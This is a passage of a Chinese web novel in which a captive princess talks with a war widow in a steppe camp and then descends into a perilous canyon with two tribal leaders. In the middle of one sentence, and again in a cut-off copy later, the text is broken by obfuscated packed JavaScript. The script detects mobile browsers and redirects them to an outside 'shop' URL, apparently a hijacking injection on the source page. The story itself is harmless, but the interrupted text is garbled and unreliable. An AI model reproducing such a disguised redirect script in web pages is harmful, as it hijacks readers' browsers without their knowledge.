年轻女人听见阿芝说出口的话,表情愈发讪讪,脸上也渐渐泛起尴尬的红晕,“少主莫怪,阿芝这孩子你也知道,就喜欢乱喊乱叫的。” 朱辞秋看着面前的女人与小孩,女人不过二十三四,脸颊却因劳作而显得粗糙,手上老茧厚重,肩膀也一高一低,显然是常年干粗活而至的。 可小孩却被养得很好,虽是粗布衣裳但生得珠圆玉润,身上没有污渍,穿得干净齐整,脖子上戴着长命珠,除了长命珠,朱辞秋发现这小孩脖子上还挂着一个小木哨,做工有些粗糙。 乌玉胜“嗯”了一声,面无表情开口:“无妨。” 年轻女人闻言,却先是看了她一眼又迅速收回视线,最后笑着“诶诶”两下,抱着阿芝让出中间的路,“少主是来吃面的吧,快里面请,里面请!” 她被乌玉胜牵着入内,走到角落的桌子处后,他松开手,让她停在原地。等他用衣袖将她面前的桌椅擦干净,又扭头看向她,用下巴点了点擦干净的椅子,小声开口:“殿下坐吧。” 朱辞秋隔着帷帽不动声色,沉默地将飞去来器放在桌子上后,便坐了下来。又看见乌玉胜走到厨台,低头跟正在煮面的年轻女人交谈两句后,自顾自地舀了碗面汤,端回来递到她面前,“牛骨面汤,最为滋补。殿下尝尝。” 她一听见牛骨二字便轻微皱起眉头,将面汤往乌玉胜坐着的方向一推,淡淡回绝:“少主自己喝吧。” 乌玉胜似乎早有所料,也不推辞,举起面碗仰头一饮而尽,像是在喝酒一般豪放的动作。 年轻女人迅速端上两碗青稞面,只不过两碗面汤略显不同,乌玉胜面前那碗汤底与他方才打来那碗面汤一样,而她面前的这碗则是清汤,就像是大雍的阳春面汤底。 “少主特意说了,姑娘不吃牛肉。”年轻女人将筷子递给她,脸上露出淳朴的笑容,语气也十分和蔼,有着不似她这个年纪的老成,“这碗是不加牛骨汤的青稞面,姑娘尝尝味道如何。” “多谢。”朱辞秋接过筷子,隔着帷帽朝年轻女人微微一笑。 年轻女人也笑了两声,摆摆手朝她道:“不客气,不客气!” 忽然感觉身旁有人在扯自己的衣摆,她垂首看去,发现是阿芝。 阿芝的小手拉着她的衣摆轻轻摇晃,小脑袋歪在她身上,似是想从帽纱底下看清她的面容。 朱辞秋皱着眉头,有些不耐烦地伸手扯过衣摆,又往乌玉胜身侧挪了下。 她不喜欢小孩子。 乌玉胜见状,站起身将她身侧的阿芝单手拎起来,像递物件一样递到年轻女人手中,开口道:“看好她。” “哎哟!”年轻女人立马抱紧阿芝,朝她与乌玉胜弯腰,“对不住,对不住!我这就带着她离开,少主与这位姑娘慢慢吃!” 看着年轻女人与阿芝离开后,乌玉胜坐回原位将面前的牛骨汤青稞面搅拌一下,余光却瞥向身旁的朱辞秋。而她装作不知,只挑起帽纱一角,挑起一筷子青稞面送入嘴中。 说实在的,无甚滋味。但久未进食,多吃几口倒也习惯了这面的口感,只是味道实在太过寡淡,叫人只能饱腹一顿,却食之无味。 乌玉胜忽然放下筷子,从怀中掏出一个小小的油纸包,她侧头看着他将油纸包放在桌上小心打开。 里头的东西都碎成渣了,她瞧不出来里头原先是什么糕饼,仔细看了看,又觉得像是酥饼之类的。 身旁的男人用筷子的另一头在里头仔细挑着,终于挑出两块较为完整的小方块,他将小方块放在油纸包干净的位置,抬起头,看向她,闷闷道:“桃花酥饼,殿下不嫌弃的话便吃两口。” 朱辞秋看着这小碎块般的酥饼,心中想笑,前脚刚想起酥饼这事,乌玉胜这厮便掏出酥饼来。她将筷子翻转,挑起一小块酥饼送入口中,并不是燕京那家的味道,味道平平无奇还格外甜腻,甚至因为不是热乎的,吃起来有一种放久了的润湿感,但她还是吃完了。 “松露酥,味道如何?”乌玉胜见她吃干净后,不经意间开口问她。 她顿了下,状似随口回答:“还行。” 托你妹妹的福,我一口没吃到。她在心中腹诽。 此时乌玉胜却抬起头,仿佛看穿她一般,又问:“殿下吃出是哪家的松露酥了吗?” 她隔着帷帽看向他,猜出这厮早就知道她没吃他给的松露酥,于是便不回答。 外头阴云密布,面铺的客人都已走光。空中忽然一声闷雷,对面的摊贩们纷纷收拾家当往家赶,年轻女人抱着阿芝站在不远处踌躇不前。 最终乌玉胜站起身,拉起她放在桌子上的手,另一只手则拿起桌上的飞去来器,然后便往外去。 “塔娜,借你家中空余房间避避雨。”乌玉胜望向阴沉的天空,突然朝一旁抱着孩子的女人开口。 那名叫塔娜的年轻女人先是呆愣一下,随即赶忙开口:“好、好,没问题的。” 塔娜简单收拾了下面铺,在暴雨来临前领着她与乌玉胜到了不远处的被木栏围住的两处小毡包,然后将一间空余的毡包帘子掀起,让她二人入内。 毡包虽小,但里头生活用具却不少,看起来拥挤却又温馨。 在塔娜母女二人离开后,朱辞秋终于能摘下帷帽,视线一下变得明亮清晰,乌玉胜站在门口,直勾勾地盯着她,却不说话。 她不知道这人为何又要赌气,懒得搭理他便坐在一旁的小木凳上,忽然看见乌玉胜手中的飞去来器,于是扯了扯嘴角,朝他伸出手,“给我。” 乌玉胜往前走了一步,将飞去来器递给她,又在她指尖触碰到的时候缩回去。他坐在她对面,满脸戾气,冷着声音开口:“为何不吃松露酥。” 她视线定在飞去来器上,“这很重要?” 面前的男人不带犹豫地回答:“重要。” “不想吃。”她瞥了眼乌玉胜,再次伸手夺过他手中的飞去来器。本以为会拿不到,不料却一把抢过,被她握在了手中。 乌玉胜骤然站起来转过身朝外走去,没有再看她一眼。 四周变得一片安静,朱辞秋低着头看向手中的飞去来器,连呼吸都变得缓慢。 不知过了多久,外头忽然又响起一阵闷雷,紧随而来的便是哗啦哗啦的雨声,雨点又打在毡包上,噼里啪啦地响。 她将一直攥在手中的飞去来器放在桌上,站起身走到门口掀开帘帐,外头被大雨模糊,视线也变得不清晰,刚走出毡包一步,就被一旁打着伞的塔娜唤住。 “姑娘!这么大的雨快回屋内去!”塔娜赶忙上前,将伞往她身前递了递。 她偏过头,不让塔娜看见她的脸,又问:“少主呢?” 塔娜一面打着伞一面端着个托盘,见她这模样,笑了一声,“少主方才让我给姑娘送些解渴的甜水,然后便回首领主帐了。”随即又道,“姑娘不必遮掩,我知道你是大雍人。” 朱辞秋听见乌玉胜回去后皱了皱眉,又在听见下一句话难得地因为陌生人怔了下,不再继续追问乌玉胜为何突然回去。她跟着塔娜回到屋内,见她将托盘中的甜水放在她面前,抬起头问道:“你不讨厌我?” 塔娜摇摇头,将伞放在门口后坐在对面,笑着说:“为何姑娘会觉得我讨厌你?” “因为我是大雍人。况且我跟在乌玉胜身侧,你难道猜不出我是谁?”她看着淳朴的塔娜,无意识地用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438455|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手转动着面前的甜水。 塔娜只是笑着说:“我只知道少主很喜欢你。”她转过头看向门口,又轻声叹了口气,“少主让姑娘遮住脸,只是不想让人看见姑娘的脸。” 朱辞秋有些疑惑:“为何?” “巫族有种秘术,名作画皮。”塔娜回过头,缓缓开口,“有些巫医喜欢将漂亮的人的皮撕下来,用以秘药炼制,让人皮不衰,从而能覆在不同的人身上。他们认为,这样漂亮的人就会因此,而青春永驻。” 朱辞秋一阵恶寒,停下转动甜水的手,忍住恶心道:“我从未听过此事。” “诃仁首领的父亲曾将他们赶尽杀绝,但仍有漏掉的巫医逃窜了出去。后来因为诃仁首领与他的父亲,他们不敢对巫族的人下手,但外族人却不一定。”塔娜顿了下,看向她,笑着说,“少主是在保护姑娘。” 她沉默了下,轻声开口:“但我不是普通的外族人。” “我知道。” 她抬起头,看向微笑着的塔娜,听见她又重复一句:“我知道。” “我的丈夫,三年前死在龙虎关。”对面的女人笑着,可眼睛里的悲伤却透了出来,蔓延在她面前,“当时是少主替王族的人送抚恤入家,我问少主,他的尸骨在何处。少主说找不到。其实我也知道,战场上每天都要死那么多人,尸骨都埋在一起,怎么可能找得到在何处。” 朱辞秋垂眼,放在膝盖上的手有些颤抖。 “那时阿芝才一岁,她才刚会走路。她从屋内慢慢地、慢慢地走到我跟前,拉着我的手,问我,阿爹呢?那时少主情况也并不好,但他还是很耐心地蹲在阿芝面前,将手中的小哨子放在她手中,他告诉阿芝,那是阿爹给她做的,让她好好保管。” 她不想抬头看塔娜,却又忍不住抬起头,看着眼睛泛着泪光的年轻女人,觉得心里堵得慌。 “我们讨厌的不是大雍人,是战争。战争打破了平静的生活,就像巴忽齐部落的男人全都死在战场上,如果不是王族的公主救济她们,她们很多人都活不过这个冬天。我们不知道该怪谁,不敢怪王族与首领们,因为他们说是为我们谋更好的生活,所以我们只能怪大雍人,怪姑娘。” 塔娜攥着衣角,红着眼,为了不让眼泪掉下来而咬着唇,“大雍十三州打下来又如何?我的丈夫再也回不来了,像我这样的人家,也去不成那么遥远的中原。” “我知道,姑娘没有错。我听士兵们说了,大雍的人也如我们一般,家破人亡,甚至成为贵族的奴隶。姑娘是在救他们,所以我不讨厌你,也不会,怪你。” 朱辞秋听后,只是安静地看着她,最终缓缓说出一句话:“可我怪我自己。” 那些死在她面前的、死在角落里的、死在战场上的百姓与将士,在午夜梦回时,总会血淋淋地站在她面前,质问她,为何要放弃十三州、为何要将百万将士的血肉白白埋葬在荒野上、为何要将他们的亲人抛弃在十三州,让他们受尽凌辱含恨而终。 她看着塔娜,就像在看那些被战争摧残的所有人的缩影。 面前的塔娜一愣,似乎不知道该如何继续接话,两人就这样沉默着。 听见这些话,朱辞秋终于知道为何乌玉胜要带她来吃青稞面,为何将她留在这里。 那个要将她困在南夏的男人在借塔娜的嘴告诉她,让她不要困在那些被战争摧残的血肉之中,让她不要再因为十三州的百姓受难而痛苦,也让她,放弃对大雍皇室最后的幻想,别再想回到大雍改变一切。 他在告诉她,他们就像南夏的王族贵族一般,只图利益不待子民。 外头雨势渐大,风雨交加的声音打在毡包上,也打在她心底,让她心中的血水泛起一片又一片涟漪,咽喉蔓延出苦意,让她想要俯下身呕吐出什么。 她紧紧抓着桌沿,让自己冷静。在看向面前的甜水时,她也终于明白,乌玉胜为何要让塔娜给她送一碗甜水了。 朱辞秋嘴角扯出冷笑,心中想着:真是狡猾。 过了会,她冷静下来,却仍未动那碗甜水。塔娜收拾好情绪,站起身朝她轻声道:“姑娘,你先在此歇着。待雨停后,少主会来接姑娘。” 29. 第二十九话 “这些话,是他让你跟我说的。还是你自己想跟我说?” 朱辞秋忽然站起身,靠近塔娜。她比塔娜略矮一些,若要对上塔娜的视线,便要用仰头的姿势看着后者。 但这样的姿势却没让她处于弱势,反而更添一分肃严,倒叫塔娜愣了下。 等反应过来后,塔娜哑然失笑:“姑娘,少主只是让我送甜水过来。这些话,是我自己想跟姑娘说。”她看着她,眼中多了些其他情绪,像是怜悯,又像是不忍,“我少时曾见过诸多死亡,也被困在梦魇中许久,就如现在的你一般,不肯放过自己。” 这句话叫朱辞秋皱了下眉,眼中闪过疑惑。 塔娜不过是个普通的农家妇女,身上没有一点上过战场的气息。 而南夏士兵们远赴国界与大雍交战,普通百姓根本看不见死亡。即使是境内两族交战,也是会远离生活区的,不可能会让普通妇女参与其中。 面前的女人分明最多不过二十五岁,朱辞秋并不记得她的情报中,巫族在十年前,发生过比较大的战役纷争。 她后退一步,看着女人质朴的面容,突然想起来一件事。 十八年前,巫族的确发生过一件大事。那年诃仁的父亲不知为何杀了自己的妻子,又大肆屠戮本族人。更奇怪的是,当时的首领,也就是诃仁的爷爷,并不阻止,甚至默许了。 她记得当时查了许久,都不明白诃仁的父亲为何忽然愤起屠戮族人,杀死妻子。但这件事过了许久,又被刻意隐瞒,已无人知晓其中缘由。 如今,她据塔娜所说的这些话,便猜测那次屠戮,起于巫医画皮之事。 她抬起头,瞬间反应过来,接着在塔娜脸上仔细看了看,略带肯定的语气说出问句:“你是巫医之后?” 塔娜见状,有些惊讶地睁大眼睛。 她愈发确认这个猜测,淡定地问道:“十八年前,诃仁的父亲杀了你的族人,那时你才多大?” 塔娜沉默半晌,苦笑一声:“没想到姑娘连此事都知道。”紧接着又道,“那年我十五岁。” 朱辞秋怔了下,又瞧了几眼面前的女人,分明看起来只比她大两三岁的模样,没承想都已经过了三十。 这究竟是怎样的邪术? 塔娜似乎看出她的疑惑,主动开口:“我并未欺骗姑娘。我如今这副模样,只是因为早前的巫医一族,有独特之法。” 她皱着眉,仍不太信这世上会有如此邪术,于是问道:“怎样的独特之法?” “姑娘还是不听为好。”塔娜摇头,微微一笑后又垂眼,并不打算继续往下说。 朱辞秋沉默了下,也不再深究此事,毕竟此事,是巫族内部的事情,与她并无关系。 只是她不清楚,塔娜是巫医之后的这件事,是否也是乌玉胜故意透露给她的,如果是的话,他究竟想告诉她什么? 塔娜见她沉默着不再说话,便侧过身拿起一旁的伞,轻声开口:“姑娘,你在此好好休息,我就不打扰了。” 她抬起头,视线扫过塔娜手中的伞,“我要去找乌玉胜。” 塔娜眼神飘忽,有些犹豫,“这……外头雨太大了,姑娘还是等少主来接吧?” “我要去找他。”朱辞秋眼神忽然变得凌厉,周散发出让人不容拒绝的气压,但很快又消失。她随手拿过桌上的飞去来器,又重新戴上帷帽,隐在帽纱下的面容柔和一瞬,“劳烦姐姐将伞给我一把,待雨停后我自会前来归还。” 塔娜仍然犹豫道:“这……” 于是她又道:“他将我留在此处,不过是想让我听你劝慰,如今我已听完,自然也无须留在此地了。” 塔娜握着伞的手松了下,最终缓缓开口:“姑娘稍等。” 说罢,便掀开帘帐打着伞往隔壁的毡包所去。 朱辞秋用手挑起一角帘帐,看着外头雾蒙蒙的雨天,阴沉如同黑夜般的天气,让她心底憋着一口气,愈发烦躁。 不一会儿,塔娜便又拿着一把伞出来。她将伞递给她,又抬手指着一个方向,“往前直走便是主帐区。” 她点了点头,道了声谢后伸手接过伞,一边踏出毡包一边撑开伞。 塔娜在她身后,高声喊着让她注意安全。于是她转过头,隔着不断下坠的雨珠,在伞下看着这位奇怪的女人,嫣然一笑,“多谢。” 然后将飞去来器塞在腰间后,转身离开了此地。 雨势不小,风也刮得大。也正因此路上没有行人,早前热闹的生活区已经空无一人。 滂沱大雨下,只有她一人在此间走着。 好在已经过了冬日,此时天气不算太冷,她也能受得住。方才乌玉胜带她来此地时,她暗自观察过,生活区没有守卫,只有在靠近主帐后,才会出现巫族守卫。 她回过头,看向渐行渐远的面铺与塔娜家,忽然转道,并不直走,而是朝西走去。 往西走,便是巫族与母赫的交界处,那里有一道天然形成的山谷,名作霞山谷。他们将霞山谷称作天神的赐福,因为山谷下有着无数奇珍药材与矿铁,也有自神山流下的天河水贯穿山谷底,滋养着谷中的树木花草。 霞山谷是巫族的地界,巫族的药师居住在谷内,不常出现于人前。 回转丹,便是药师一族独创的毒药。 尽管朱辞秋走得很慢,路上的泥泞也不可避免地溅在她身上,此时她便格外想念公主府的雨轿。 十六岁那年除夕,远在边塞的乌玉胜给她送了一张图纸,上头画着一顶轿子,一旁覆着几句话:殿下,此乃寒城所见,臣观之保暖防雨俱佳,特献于殿下。望来年归去时,殿下能以此嘉奖臣一二。 她命府中工匠造了出来,趁雨天在公主府走了一圈,发现果然保暖防雨。于是便回信:不错,该奖。 但乌玉胜没有回信。而后过两个月,寒城朔州便已接连失守,此事也就被她抛诸脑后。 忽然她脚步一顿,停在原地。 当年与穆东风查出军中细作,确定断崖上那些人的所言都非虚后,她仍有个疑问,便是乌图勒这样的人怎会亲自涉险来见乌玉胜。 除非,那不是乌图勒本人。 巫医既然有画皮之能,想必造出一张与乌图勒相像的人皮来,也绝非难事。 朱辞秋忽然觉得有点冷,攥着伞把的手也不自觉抖了下,她不再耽搁,继续往霞山谷走。 刚走没几步,正转过弯时,便看见不远处站着一个人。她将伞抬高一些,又往前看了眼,一眼便能认出那是乌玉胜。 他果然在这等着她。 乌玉胜这人,怎会将她独自放在外面自己回去。 她停在原地,看见乌玉胜打着伞,身形挺立,像道锋利的剑划开雨帘,一步一步走向她。 “殿下果然会来此。”乌玉胜站在伞下,手握着佩刀,落在她身上的视线冰冷,却又像是在期盼着什么。 朱辞秋抬眼,朝他笑了笑,并不问他问题,只是说道:“当然。毕竟,我现在不想死。” 乌玉胜沉默一瞬,视线又扫过她腰间的飞去来器,却仍是什么都没说,只是走至她身旁转过身,将手中的伞往她身前递了递,又把她手中的伞拿了下来,收起来扔到一旁的地上。 他伸出手揽过她未受伤的肩膀,让她被裹挟在他怀中,皂角的气息扑面而来,在湿润泥泞的空气中漂浮着,似乎也驱散了空气中的阴冷。 头顶传来乌玉胜富有磁性的声音,“出来吧,还要藏到何时。” 朱辞秋闻声望去,发现是浑身湿透的诃仁。 他站在身后,愤恨地盯着她与乌玉胜,最后冷着脸拾起地上的伞,打开后又摇了摇伞,冷嘲一句:“我浑身都湿透了,这伞还有何用?” “那你别打。”乌玉胜平淡道。 诃仁跳到他面前,怒道:“乌玉胜,你是不是有病?!” 乌玉胜不再理他,揽着她的肩膀越过诃仁继续往前走。她侧头看了眼,看见乌玉胜让她不被雨水淋到,又避免触碰到她肩头的伤口,因此大半个身子都淋着雨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“他只是嘴贱。”乌玉胜淡淡开口,垂眸看向她,指尖摩挲着她肩上的衣料,语气也变得有些危险,“我也很好奇,殿下与他,究竟是怎么坦诚相见的。” “你觉得呢?” 她抬起头,对上他的双眼。她发现乌玉胜如今在她面前连跟诃仁装不熟都不装了,明摆着告诉她,他与诃仁十分相熟。 看来这几年,这厮在南夏的势力比她想的还要多。 是她小觑了他,也高看了乌图勒与乌玉阙。 乌玉胜率先抬头别开视线后,轻声开口:“是他胡说。” 诃仁见她与乌玉胜都不再说话,只闷头往前走后似乎觉得无趣,停在身后吹了声哨子,便有一匹马从后而来。诃仁扔了伞,大步跨上马背,迅速从她二人面前穿过,只留下一句:“我先行一步,你俩慢慢在这雨中调情吧!” 在马蹄越过她身旁时,乌玉胜揽着她的肩膀将她拉至他面前,而他自己挡在她面前,挡住了诃仁故意溅起的泥渍。 朱辞秋看了眼乌玉胜,又看了眼跑不见影的诃仁,冷声道:“真是浪费我的一把好伞。” 乌玉胜轻“嗯”了一声,便又沉默了。 天逐渐暗下来,雨势也渐小。雨彻底停后,天也彻底暗下来。 乌玉胜这才吹了声哨子,他那匹黑马便从一旁窜出来围着他转半天,好像在说他终于肯骑它了。 雨后的夜色朦胧而寂静,朱辞秋除了能听见耳畔呼啸而过的风声外,还能感觉到身后乌玉胜沉稳的呼吸与心跳,他将她包裹在温暖的怀抱中,让她感觉不到夜里的冷风。 不知骑了多久,乌玉胜驾马的速度变得缓慢,朱辞秋隔着帷帽,看不清前面。 直到乌玉胜拉着她下马,走近霞山谷。她终于清楚地看见前面那如断崖般的沟壑,巨大的沟壑将草原割裂开来,就像是被天斧劈开的土地。她摘下帷帽,站在沟壑的边缘往下看去,深不见底,看不见任何东西与光亮。 沟壑下面,就是霞山谷。 30. 第三十话 但沟壑断口蜿蜒曲折不知多少里,一望望不到头。抬头向对面看去,似乎可见远处那连绵成群的雪山隐在黑夜中。 朱辞秋左右观望,又朝谷底看去,天黑难以看清此地距离谷底有多深。 在她四处张望探寻时,身后的乌玉胜突然抓住她的胳膊,将她拉着一同往后撤,远离沟壑的边缘。 乌玉胜看了眼对面漆黑的断口,对她道:“入口不在此处。” “诃仁呢?”她抬起头,问了一句。 黑夜中乌玉胜的面容愈发阴沉,她看不清这个男人眼底的情绪,只感觉到拉着她胳膊的手有一瞬颤动,随即便松开了她。 他并不回答她的话,连视线都只掠过她一瞬便直视前方。 朱辞秋顺着他的视线看去,入她眼的仍然是一望无际的黑暗,可身旁的男人却似是听到一些细微动静,又往前走了一步,回答她方才所问的话:“他在那里。” 于是她便拿着帷帽,跟在乌玉胜身后。 走了约莫三刻钟,便见不远处的半空中有忽闪忽灭的火光。诃仁举着不知何处而来的火把,脸上透着不耐烦,终于见到乌玉胜与她后,指了指渐白的天,笑了两声,“不如我们坐下吃完早饭再去找谷口,殿下你说如何?” 朱辞秋抬步欲往前,却被乌玉胜伸手拦住。他挡在她面前,将火光遮了大半,朝诃仁淡漠开口:“舌头若多余了,我可以替你割下来放火上烤了。” 诃仁沉默一瞬,手中的火把被风吹动,将他的影子也吹动些许。他眯起眼睛,语气陡然变得阴森:“小少主就不怕我将你跟她带入魔鬼窟,一去不复返?” 乌玉胜仍然不咸不淡地说着话,“若你真有此心,大可以试上一试,看是你先入还是我先入。” “要不你回王都吧。”诃仁瘪了瘪嘴,又掏了掏耳朵,“我看见你就容易生气,一生气就会乱发脾气,脾气一发,说不定就容易带错路。” 乌玉胜冷笑一声:“魔鬼窟对我来说,可不吓人。” “那你就不担心你的这位殿下?” 拦在她面前的男人沉默须臾,回答道:“不担心。” 诃仁啧啧两声:“真是狠心呐!”转而歪头透过乌玉胜看向她,有些幸灾乐祸,“殿下你听见了吧?不如殿下投入我怀抱吧,我倒比他怜香惜玉些。” 朱辞秋看向被火光照着的诃仁,就像在看一个调皮可恶的小孩。 她发现诃仁这个人很多变,你若顺着他的话跟他玩笑几句,他是愿意与你好言相待的,若不顺着他或者揭他的短,他自然也会马上变脸。就像是手中握着糖霜与毒果,你得顺从他,才能从他手下拿走糖霜,不然只能被迫吃下毒果。 而今不知是否是乌玉胜在此,让他对她的警惕减轻不少。 是个两面三刀,又油腔滑调的家伙。 她不知乌玉胜与他是如何相识又相熟的,但她与乌玉胜都未来过此处。且这魔鬼窟,她还是第一次听说这个地方,不过看两人的话茬,想来也不是个好地方。 如今只能靠诃仁引路,顺着他总归便易些。虽说乌玉胜可能知晓点秘辛,但巫族的领地,总归是巫族自己人更清楚。 于是她伸出手,拽了拽乌玉胜的衣角,后者偏头看向她,她抬眼轻笑,视线却掠过面前高大的男人,看向对面举着火把的诃仁,眼底闪过一丝不耐,但语气却轻柔:“首领大人,一直待在此处可没早膳吃。不如早些带路,你我说不定还能去霞山谷吃顿晚膳。” 诃仁果然眉开眼笑,他放下手看向她,将火把扔进沟壑深处。 四周天唯一的亮光消失了,唯有天边逐渐露出鱼肚白的光缓缓上升。 朱辞秋与乌玉胜一同走上前,朝诃仁所扔火把的地方低头看去。什么也看不见,就连扔下去的火把都如远方星辰般渺小,被风吹过几下便彻底熄灭。 但她看清了,沟壑岩壁,似乎带着点红色,也十分陡峭崎岖。 “山壁呈红褐色,白日远观如红霞,因此此处才被叫做霞山谷。”诃仁学着他们的动作,伸着头朝沟壑探了探,“往东去,有一处天梯能下至谷底,此梯陡峭无比,几近垂直。” “这还不够呢,天梯只能下到谷底,到不了药师所居之地。谷底道路四通八达,又被红褐岩石包裹着,若不仔细甄别方向,便容易入这谷底的魔鬼窟。” 诃仁侧头望向朱辞秋,笑问:“我们殿下,知道何为魔鬼窟吗?” “何为?” 乌玉胜抢先答道:“夜半有孩提妇女啼哭之声,白日有海市蜃楼,让人因恐惧至方位混乱而困死在岩石红柱中,又被南夏人称作吃人的城。” “这样的地方,”她指了指底下,问他们二人,“有几处?” 这次倒是诃仁憋着一口气回答:“无数。只要走错一步,便有无数个魔鬼窟等着你。” 朱辞秋点了点头表示明白了,后退一步戴上帷帽。她隔着帽纱看向诃仁,做了个请的手势,“如此,便劳烦首领大人带路了。” 诃仁挑眉:“你不怕?” 她摸着腰上光滑的飞去来器,轻声一笑:“我即来此,便无所畏惧。” 乌玉胜沉默地跟在她身旁,与她齐肩并行。 诃仁走在前头,喜欢时不时吹两声哨子,哼些她听不懂的小调,也爱转头与她说两句话,虽然每次都被乌玉胜挡回去,让他碰了一鼻子灰。 天渐渐亮起来,雨后第二日晨间的空气总是清新的,就如乌玉胜身上青草与皂角的香气。 在太阳驱散阴云透出光时,诃仁也抬手让他们停了下来。 朱辞秋转头看向被阳光照耀到的沟壑,四周岩壁果然如他们所说,是红褐色的,又奇形怪状无比的岩壁,这些岩壁分层又连在一起,直至谷底。她垂眸往谷底看去,谷底生出许多石柱与红褐色的岩壁,似乎将宽大又悠长的路阻断分割成无数条小道。 她顺着这些岩壁往远处望,发现这道沟壑要比她想象的宽得多,深得多,也奇怪得多,怪异的谷底与岩壁就像是不属于这片大地一般的存在。 “那里,便是天梯。”诃仁用手指向那些岩壁分层又相连间,不知是天然形成还是被人工开凿出的类似一层层阶梯似的陡峭之路,直通谷底。 南夏人果然很喜欢用天、神这样的字眼,比如喜塔拉神山、天河,如今又有天梯。 朱辞秋走近天梯旁,看着接近垂直的坡度,又看向谷底的怪异,头一次生出一种头皮发麻的感觉。 她就像是在主动走入回不了头的深渊。 忽然感觉左手被人握住,熟悉的感觉让她不用抬头都能知道是谁握住她的手。 乌玉胜的手很冰,却也让她心中的胆寒减少许多。 “这里只是看着深。”诃仁顺着岩壁间的陡峭台阶往下,还能自然转过头看着她笑,“殿下害怕了?” 此时乌玉胜拉着她让她走在他前面,又忽然将腰间的佩刀拿了出来,他拿着一端,抬眼又垂首示意她拿过另一端。 她抬手握住佩刀另一端,身后的乌玉胜将她头上的帷帽摘下拿在手中,轻声开口:“遮挡视线,待下去后再还给殿下。” 也正因他将帷帽摘下,让她与诃仁的视线相撞。 于是她笑了下,用空闲的手指了指陡峭蜿蜒的天梯,“首领大人,我有个好办法。” 诃仁一面下着梯子,一面回答:“什么办法?” 她一步一步踏得很稳,可握住佩刀的手却止不住地有些发抖,但声音却听不出任何异样:“你滚下去,既能节省时间,能在霞山谷吃上午膳也说不定,又不浪费力气,还能让首领你的嘴巴歇一歇,三全其美。” 诃仁扭头瞪了她一眼,又迅速回头看路,但嘴巴却不停歇:“我觉得殿下的嘴巴也该歇一歇,不如你跟我一同滚下去吧?” 朱辞秋正欲呛他,身后的乌玉胜却突然拉了拉她衣角,又悄然出声:“殿下,凝神,注意脚下。” “哈哈,乌玉胜!”诃仁像是想到什么好笑的事情,语气变得有些激动,“你不会是嫉妒我能跟你家殿下说这么多话吧?” 乌玉胜声音冷凝:“闭嘴。” “照我说,你这人就是太小心眼了,也太容易闹别扭,还是个闷葫芦,什么都不愿意摊开了说,你以为谁都是你肚子里的蛔虫啊?”诃仁越说越激动,话茬愈发刹不住脚,似乎深受其害,“当年你逃出南夏我可是替你打了掩护的,你倒好,刚回南夏就要将我吊起来打一顿,我问你为何如此,你那嘴巴就像不会说话似的,问你大半年都没问出个底细来。这还是我亲自去大雍套了消息回来才知道你这小子受了情伤——” 乌玉胜隐忍着怒气,声音有些撕裂:“你说够了没有?” 诃仁哑口一瞬, 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朱辞秋这才敛了思绪,缓缓走下台阶,但差一点被最后一层台阶绊住,身后的乌玉胜一把拦住她的腰,将她平稳地带到地上。 霞山谷底,到了。 诃仁从一旁的落石随意挑了几个,蹲下去在一旁摆成了小山的形状。 不等朱辞秋问,他便主动开口:“辩方位的小玩意儿,为了不让我们在原地打转。” 他又站起身,指着被石柱岩壁包裹住的一处羊肠小道,从怀中掏出一根粗绳,将一端扔给朱辞秋身后的乌玉胜,见乌玉胜接过后,开口道:“将此绳绑在身上。一定要跟紧我,风沙落石随时会在我们不注意的时候打乱地形,那会让我们分散在不同的岩壁间,你们找不到正确的路真的会被困死的。” 乌玉胜嘴皮有些泛白,眉头也紧皱着。他将手中的帷帽重新戴在朱辞秋头上。又抬起手,将绳子绕了个圈,从她头顶往下,紧紧地圈住她的腰肢,他弯着腰,大手在她腰上游走一瞬,确定绳子牢固后在她耳畔轻轻出声:“此间风大,殿下记得带好帷帽。” 朱辞秋沉默一瞬,随即点点头,乌玉胜这才将绳子的末端绑在自己腰间,她忽然上前一步,抬手替他检查了一下绳子是否牢固。 乌玉胜双眸一亮,似乎连嘴唇都不再苍白。 她抬起头,隔着帷帽都能看清他眼中的亮闪,但很快移开视线,淡淡道:“我们都别死在这里。” 没人管的诃仁自顾自地套好绳索,高喊一声:“走了!” 她与乌玉胜便齐齐转身,跟在诃仁身后缓慢地朝那条羊肠小道走去。 但不过走了半日,她已经有些口干舌燥,空腹的感觉也让她不太好受。不知是否是地形的原因,让她在此地的不适感要更为严重些。 乌玉胜与诃仁倒还好一些,但越往前走,日头越大,几个人的步子也愈发缓慢。 终于走到一处岩壁的阴凉下,她想要往阴凉处去歇一歇,整个人也不自觉地想要往哪去,却忽然被乌玉胜与诃仁一左一右地抓住胳膊。 乌玉胜指了指阴凉下,她顺着他手指方向看去,强行按住他的手指让自己定了定神,这才看见被风沙与落石掩埋的人的尸骨。 想来那些人,也是跟她一样的感觉,想要去岩壁下休息片刻,不料却丧了命。 “要不,你们谁给我一刀。”朱辞秋嘴唇愈发干燥,说一句话都觉得疼痛。她松开手,看向乌玉胜,“这样我便能时刻清醒了。” 乌玉胜垂首,伸出手触碰了一下帷帽的帽纱,语气意外地有些轻柔:“就快到了。” 诃仁冷哼一声,拉着绳子就要往前走。 朱辞秋被拉得一个踉跄,若非乌玉胜扶住她,她差点就要摔在地上。 “这得怪乌玉胜,非要急吼吼地往这来,水粮都未来得及备,我们只能渴着饿着了!我说你这个殿下也是,不清楚的地方你就不要莽撞行事嘛,若没有我,你身上的毒怎么来霞山谷解?”诃仁并不关心身后如何,只在前头说个不停。 